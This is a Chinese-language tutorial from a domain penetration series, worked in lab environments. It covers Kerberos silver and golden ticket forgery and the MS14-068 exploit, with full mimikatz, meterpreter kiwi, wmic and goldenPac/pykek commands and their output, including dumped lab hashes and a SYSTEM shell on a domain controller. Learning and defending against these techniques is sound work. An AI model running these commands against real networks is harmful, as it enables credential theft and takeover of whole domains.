域渗透学习(一)Windows认证机制
域渗透学习(二)Kerberos协议
域渗透学习(三)域内信息搜集
域渗透学习(四)Dump Password & Hash
域渗透学习(五)基于IPC的远程连接
域渗透学习(六)PTH 哈希传递攻击

PTT 票据传递攻击

复习: 域渗透学习(二)Kerberos协议

白银票据(Silver Tickets)

特点:

  • 无需与KDC交互
  • 需要目标Server的NTLM Hash

在前文kerberos认证中的Ticket的组成:

Ticket=Server Hash(Server Session Key+Client info+End Time) 

当拥有Server(Service) Hash时,我们就可以伪造一个不经过KDC认证的一个Ticket。
Server Session Key在未发送Ticket之前,服务器是不知道Server Session Key是什么的。 所以,一切凭据都来源于Server Hash。

获取Server Hash

C:\files>mimikatz.exe "privilege::debug” "sekurlsa::logonpasswords" "exit" > log.txt

或者使用RCE漏洞获取到目标后加载mimikatz读取 该主机名为WEB的服务器

msf中加载mimikatz后使用msv来获取所有哈希

meterpreter > load mimikatz
meterpreter > msv
[+] Running as SYSTEM
[*] Retrieving msv credentials
msv credentials
===============

AuthID      Package    Domain        User            Password
------      -------    ------        ----            --------
0;987554    Negotiate  IIS APPPOOL   DefaultAppPool  lm{ 00000000000000000000000000000000 }, ntlm{ 01ad29e76541f46e60129e2fb3acfc5d }
0;996       Negotiate  DE1AY         WEB$            lm{ 00000000000000000000000000000000 }, ntlm{ 01ad29e76541f46e60129e2fb3acfc5d }
0;49994     NTLM                                     lm{ 00000000000000000000000000000000 }, ntlm{ 01ad29e76541f46e60129e2fb3acfc5d }
0;11327761  Kerberos   DE1AY         Administrator   lm{ f471ca8ea823361ef9393d97e7a1873c }, ntlm{ 4d01fbeeaf2b706478943e0889df5622 }
0;1770542   NTLM       DE1AY         Administrator   lm{ f67ce55ac831223dc187b8085fe1d9df }, ntlm{ 161cff084477fe596a5db81874498a24 }
0;1038932   Kerberos   DE1AY         de1ay           lm{ f67ce55ac831223dc187b8085fe1d9df }, ntlm{ 161cff084477fe596a5db81874498a24 }
0;142774    Kerberos   DE1AY         mssql           lm{ f67ce55ac831223dc187b8085fe1d9df }, ntlm{ 161cff084477fe596a5db81874498a24 }
0;156599    Kerberos   DE1AY         mssql           lm{ f67ce55ac831223dc187b8085fe1d9df }, ntlm{ 161cff084477fe596a5db81874498a24 }
0;995       Negotiate  NT AUTHORITY  IUSR            n.s. (Credentials KO)
0;997       Negotiate  NT AUTHORITY  LOCAL SERVICE   n.s. (Credentials KO)
0;999       Negotiate  DE1AY         WEB$            n.s. (Credentials KO)

其中这一条即为需要的Service Hash

0;996       Negotiate  DE1AY         WEB$            lm{ 00000000000000000000000000000000 }, ntlm{ 01ad29e76541f46e60129e2fb3acfc5d }

伪造白银票据

尝试访问主机WEB

需要进行身份验证

伪造票据前先清空票据,保证票据列表干净

kerberos::list #列出票据
kerberos::purge # 清除票据

伪造票据:

mimikatz “kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标服务器主机名> /service:<服务类型> /rc4:<NTLM Hash> /user:<用户名> /ptt" exit

伪造票据需要目标主机的主机名,主机名对应用户的NTLM Hash 和域的SID

获取域的SID可以通过wmic useraccount where name="krbtgt" get sid 或者下文中获取高权限账户后使用lsadump::dcsync /user:krbtgt

域SID即为图中标红的S-1-5-21-2756371121-2868759905-3853650604 红色后面的的是RID 并非域SID

注意如果查询的用户名同时存在域用户和本地用户的话,会得到两个查询结果:如图中查询的de1ay用户会返回两个SID

获取到所需的信息后使用mimikatz伪造一个管理员权限的票据:

kerberos::golden /domain:de1ay.com /sid:S-1-5-21-2756371121-2868759905-3853650604 /target:WEB /service:CIFS /rc4:01ad29e76541f46e60129e2fb3acfc5d /user:Administrator /ptt


再次访问WEB服务器,成功

访问DC仍然需要验证:

由于白银票据需要目标服务器的Hash,所以没办法生成对应域内 所有服务器的票据,也不能通过TGT申请。因此只能针对服务器上的某些服务去伪造,可伪造的服务类型列表如下:

服务 服务名
WMI HOST、RPCSS
Powershell Remoteing HOST、HTTP
Scheduled Tasks HOST
LDAP 、DCSync LDAP
Windows File Share (CIFS) CIFS
Windows Remote ServerAdministration Tools RPCSS、LDAP、CIFS

服务端可能的防御措施:
HKEY_LOCAL_MACHINE\SYSTEM \ CurrentControlSet\Control\Lsa\Kerberos\Parameters
中的ValidateKdcPacSignature设置为1,可规定服务器将票据发送给kerberos服务,由 kerberos服务验证票据是否有效

黄金票据(Golden Tickets)

  • 需要与DC通信
  • 需要krbtgt用户的Hash(KDC Hash)

域中有一个特殊用户叫做krbtgt,该用户是用于Kerberos身份验证的帐户,获得了该用户的hash,就可以伪造票据进行票据传递

域中每个用户的Ticket都是由krbtgt的密码Hash来计算生成的,因此只要获取到krbtgt的密码Hash,就可以随意伪造Ticket,进而使用Ticket登陆域控制器,使用krbtgt用户hash生成的票据被称为Golden Ticket。

获取krbtgt用户哈希

  • DCSync (mimikatz)

    mimikatz 会模拟域控,向目标域控请求账号密码信息。 这种方式动静更小,不用直接登陆域控,也不需要提取NTDS.DIT文件。需要域管理员或者其他类似的高权限账户。

    lsadump::dcsync /user:krbtgt
    mimikatz # lsadump::dcsync /user:krbtgt
    [DC] 'de1ay.com' will be the domain
    [DC] 'DC.de1ay.com' will be the DC server
    [DC] 'krbtgt' will be the user account
    
    Object RDN           : krbtgt
    
    ** SAM ACCOUNT **
    
    SAM Username         : krbtgt
    Account Type         : 30000000 ( USER_OBJECT )
    User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )
    Account expiration   :
    Password last change : 2019/9/9 10:44:59
    Object Security ID   : S-1-5-21-2756371121-2868759905-3853650604-502
    Object Relative ID   : 502
    
    Credentials:
    Hash NTLM: 82dfc71b72a11ef37d663047bc2088fb
        ntlm- 0: 82dfc71b72a11ef37d663047bc2088fb
        lm  - 0: 9b5cd36575630d629f3aa6d769ec91c3
    
    Supplemental Credentials:
    * Primary:Kerberos-Newer-Keys *
        Default Salt : DE1AY.COMkrbtgt
        Default Iterations : 4096
        Credentials
        aes256_hmac       (4096) : 42e65a58c000dab8d353b1ff2bee93383f27f0966767afa8c1f32fc51122d118
        aes128_hmac       (4096) : 5eb13d2a0e1f4980c3e3810d5da3da4f
        des_cbc_md5       (4096) : 79c8dc79fe467552
    
    * Primary:Kerberos *
        Default Salt : DE1AY.COMkrbtgt
        Credentials
        des_cbc_md5       : 79c8dc79fe467552
    
    * Packages *
        Kerberos-Newer-Keys
    
    * Primary:WDigest *
        01  6486daf200f85102b9a66f0bb698f964
        02  618b4df7c8262508a26641b5271693fe
        03  657b7f6a13829e21c18da26ee927dd7a
        04  6486daf200f85102b9a66f0bb698f964
        05  618b4df7c8262508a26641b5271693fe
        06  6702b7e06d68443bbd003fa1fd2ad6c2
        07  6486daf200f85102b9a66f0bb698f964
        08  5057528d4ee40f9ffda5ab89fc76e45c
        09  5057528d4ee40f9ffda5ab89fc76e45c
        10  ec101c8f1831c5ddefbcdabf2d854077
        11  48c89ab471a5a096c8895ca7c9fb8098
        12  5057528d4ee40f9ffda5ab89fc76e45c
        13  f63f9768f77b7a60dd75f79b210d31c5
        14  48c89ab471a5a096c8895ca7c9fb8098
        15  334888d42cd914936f94d6c2875f77a3
        16  334888d42cd914936f94d6c2875f77a3
        17  930580b0e2523dbc40d8b34efc9a83d1
        18  d7bb3256dc319c0a9bdbff3ef0b3d618
        19  120122f0735a3841c210d145d092d0fc
        20  d371f34cf41adb5a09c8507a94066c48
        21  61b1669bec1aa4a9873703229854e57d
        22  61b1669bec1aa4a9873703229854e57d
        23  963efa120b17bf8ea89eb2906fdf0092
        24  8a015afc23c33423a0557e59bd6d573c
        25  8a015afc23c33423a0557e59bd6d573c
        26  a1fa583bfc8008249d6649630aada4a0
        27  c13cf2b5ecb0894a09f8dd0831732da4
        28  679145bff502118a02f6f3af19067da2
        29  e371aa57cba0556074c58686ef433c30

    或者在 meterpreter 中使用 kiwi 扩展

    dcsync_ntlm krbtgt
    meterpreter > getuid
    Server username: DE1AY\Administrator
    meterpreter > load kiwi
    Loading extension kiwi...
    .#####.   mimikatz 2.1.1 20180925 (x86/windows)
    .## ^ ##.  "A La Vie, A L'Amour"
    ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
    ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
    '## v ##'        Vincent LE TOUX            ( vincent.letoux@gmail.com )
    '#####'         > http://pingcastle.com / http://mysmartlogon.com  ***/
    
    Success.
    meterpreter > dcsync_ntlm krbtgt
    [+] Account   : krbtgt
    [+] NTLM Hash : 82dfc71b72a11ef37d663047bc2088fb
    [+] LM Hash   : 9b5cd36575630d629f3aa6d769ec91c3
    [+] SID       : S-1-5-21-2756371121-2868759905-3853650604-502
    [+] RID       : 502
    
  • LSA(mimikatz)

    mimikatz 可以在域控的本地安全认证(Local Security Authority)上直接读取

    privilege::debug
    lsadump::lsa /inject /name:krbtgt
  • Hashdump(Meterpreter)

伪造黄金票据

  • 使用meterpreter中的kiwi模块:

    load kiwi

    创建票据

    golden_ticket_create -d <域名> -u <任意用户名> -s <Domain SID> -k <krbtgt NTLM Hash> -t <ticket本地存储路径如:/tmp/krbtgt.ticket>
    golden_ticket_create -d de1ay.com -u test -s S-1-5-21-2756371121-2868759905-3853650604 -k 82dfc71b72a11ef37d663047bc2088fb -t /tmp/krbtgt.ticket


    对域内其他机器进行共享访问,因为无权限失败

    注入到内存

    kerberos_ticket_use /tmp/krbtgt.ticket

    再次访问
    可成功访问域内其他机器和域控

    此时也可使用wmic在WEB机器上执行命令

    wmic /authority:"kerberos:de1ay\WEB" /node:"WEB" process call create "calc"


    命令已经在目标服务器上以administrator权限成功执行

  • 使用mimikatz

    mimikatz “kerberos::golden /domain:<域名> /sid:<域SID> /rc4:<KRBTGT NTLM Hash> /user:<任意用户名> /ptt" exit

    访问另一台机器WEB \\web\C$ 需要身份验证

    使用mimikatz伪造黄金票据

    进入mimikatz交互界面

    使用kerberos::list查看当前凭据列表

    发现已经有部分凭据,使用kerberos::purge来清空凭据确保凭据列表是干净的

    使用前面获得的krbtgt用户的哈希生成黄金票据

    • SID

      Object Security ID   : S-1-5-21-2756371121-2868759905-3853650604-502

      注意这里的是域SID+RID(-502) RID去掉后才是域SID

    • NTLM Hash

      82dfc71b72a11ef37d663047bc2088fb

    生成黄金票据并注入内存

    kerberos::golden /domain:de1ay.com /sid:S-1-5-21-2756371121-2868759905-3853650604 /rc4:82dfc71b72a11ef37d663047bc2088fb /user:xxx /ptt

    查看票据 kerberos::list

    再次尝试访问目标服务器WEB

    同样也可以访问DC服务器(或域内任意一台机器)

    注意:如果使用 IP 地址访问的话会失败,使用 Netbios 的服务名访问才会走 Kerberos 协议

ms14-068 域提权漏洞

测试环境:http://vulnstack.qiyuanxuetang.net/vuln/detail/7/

利用PAC验证缺陷,导致可以通过伪造PAC中的用户签名来获取域管理员权限

具体详情:

https://technet.microsoft.com/library/security/ms14-068.aspx

https://www.freebuf.com/vuls/56081.html

利用前提

  • 域控机器没有安装MS14-068补丁
  • 获取到域内普通用户的密码/Hash 以及SUID

可以在DC机器上查看是否安装KB3011780补丁来判断是否存在MS14-068漏洞

利用该漏洞最简单的方法是使用Impacket工具包中的goldenPac 模块

先查看当前用户权限

Domain Users用户组

访问DC目录被拒绝

goldenPac

复制goldenPac.exe 到目标机器

目前已获取当前机器普通域用户leo 密码 123.com

goldenPac <域名>/<用户名>:<密码>@<域控地址>
C:\Users\leo\Desktop>goldenPac.exe sun.com/leo:123.com@dc.sun.com
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation

[*] User SID: S-1-5-21-3388020223-1982701712-4030140183-1110
[*] Forest SID: S-1-5-21-3388020223-1982701712-4030140183
[*] Attacking domain controller DC.sun.com
[*] DC.sun.com found vulnerable!
[*] Requesting shares on dc.sun.com.....
[*] Found writable share ADMIN$
[*] Uploading file ZVvcTLeF.exe
[*] Opening SVCManager on dc.sun.com.....
[*] Creating service bzOd on dc.sun.com.....
[*] Starting service bzOd.....
[!] Press help for extra shell commands
Microsoft Windows [░µ▒╛ 6.1.7600]
░µ╚¿╦∙╙╨ (c) 2009 Microsoft Corporationíú▒ú┴⌠╦∙╙╨╚¿└√íú

C:\Windows\system32>whoami
nt authority\system

C:\Windows\system32>hostname
DC

或者使用proxychains将goldenPac代理进内网

aresx@XXXXXXXXXX:/mnt/e$ proxychains goldenPac.py sun.com/leo:123.com@dc.sun.com
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] DLL init: proxychains-ng 4.14
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation

[proxychains] Strict chain  ...  192.168.10.134:33080  ...  sun.com:445  ...  OK
[*] User SID: S-1-5-21-3388020223-1982701712-4030140183-1110
[proxychains] Strict chain  ...  192.168.10.134:33080  ...  sun.com:445  ...  OK
[proxychains] Strict chain  ...  192.168.10.134:33080  ...  sun.com:445  ...  OK
[*] Forest SID: S-1-5-21-3388020223-1982701712-4030140183
[proxychains] Strict chain  ...  192.168.10.134:33080  ...  sun.com:135  ...  OK
[proxychains] Strict chain  ...  192.168.10.134:33080  ...  sun.com:49155  ...  OK
[*] Attacking domain controller DC.sun.com
[proxychains] Strict chain  ...  192.168.10.134:33080  ...  DC.sun.com:88  ...  OK
[proxychains] Strict chain  ...  192.168.10.134:33080  ...  DC.sun.com:88  ...  OK
[proxychains] Strict chain  ...  192.168.10.134:33080  ...  DC.sun.com:88  ...  OK
[proxychains] Strict chain  ...  192.168.10.134:33080  ...  DC.sun.com:88  ...  OK
[proxychains] Strict chain  ...  192.168.10.134:33080  ...  DC.sun.com:88  ...  OK
[proxychains] Strict chain  ...  192.168.10.134:33080  ...  DC.sun.com:88  ...  OK
[*] DC.sun.com found vulnerable!
[proxychains] Strict chain  ...  192.168.10.134:33080  ...  dc.sun.com:445  ...  OK
[*] Requesting shares on dc.sun.com.....
[*] Found writable share ADMIN$
[*] Uploading file HJlEFapm.exe
[*] Opening SVCManager on dc.sun.com.....
[*] Creating service RxAJ on dc.sun.com.....
[*] Starting service RxAJ.....
SMB SessionError: STATUS_OBJECT_NAME_NOT_FOUND(The object name is not found.)
[proxychains] Strict chain  ...  192.168.10.134:33080  ...  dc.sun.com:445  ...  OK
[proxychains] Strict chain  ...  192.168.10.134:33080  ...  dc.sun.com:445  ...  OK
[!] Press help for extra shell commands
[proxychains] Strict chain  ...  192.168.10.134:33080  ...  dc.sun.com:445  ...  OK
Microsoft Windows [░µ▒╛ 6.1.7600]
░µ╚¿╦∙╙╨ (c) 2009 Microsoft Corporationíú▒ú┴⌠╦∙╙╨╚¿└√íú

C:\Windows\system32>whoami
nt authority\system

C:\Windows\system32>hostname
DC

C:\Windows\system32>

goldenPac使用可能会因为pyasn1库的原因出现问题,可以参考:解决goldenPac报错问题

pykek

使用方法:

ms14.068.exe -u <用户名>@<域名>  -s <SID> -d <DC机器地址或ip> -p <用户密码>

C:\Users\leo\Desktop>MS14-068.exe -u leo@sun.com -s S-1-5-21-3388020223-19827017
12-4030140183-1110 -d dc.sun.com -p 123.com
  [+] Building AS-REQ for dc.sun.com... Done!
  [+] Sending AS-REQ to dc.sun.com... Done!
  [+] Receiving AS-REP from dc.sun.com... Done!
  [+] Parsing AS-REP from dc.sun.com... Done!
  [+] Building TGS-REQ for dc.sun.com... Done!
  [+] Sending TGS-REQ to dc.sun.com... Done!
  [+] Receiving TGS-REP from dc.sun.com... Done!
  [+] Parsing TGS-REP from dc.sun.com... Done!
  [+] Creating ccache file 'TGT_leo@sun.com.ccache'... Done!

获得ccache文件后,可使用mimikatz进行票据注入

kerberos::purge或者cmd中执行klist purge

kerberos::ptc cache路径

注入完成后再次尝试是否有权限访问域控


用Vulnstack靶场二测试的时候没有成功,报了如下错误

如果有知道为什么的求留言告知

⬆︎TOP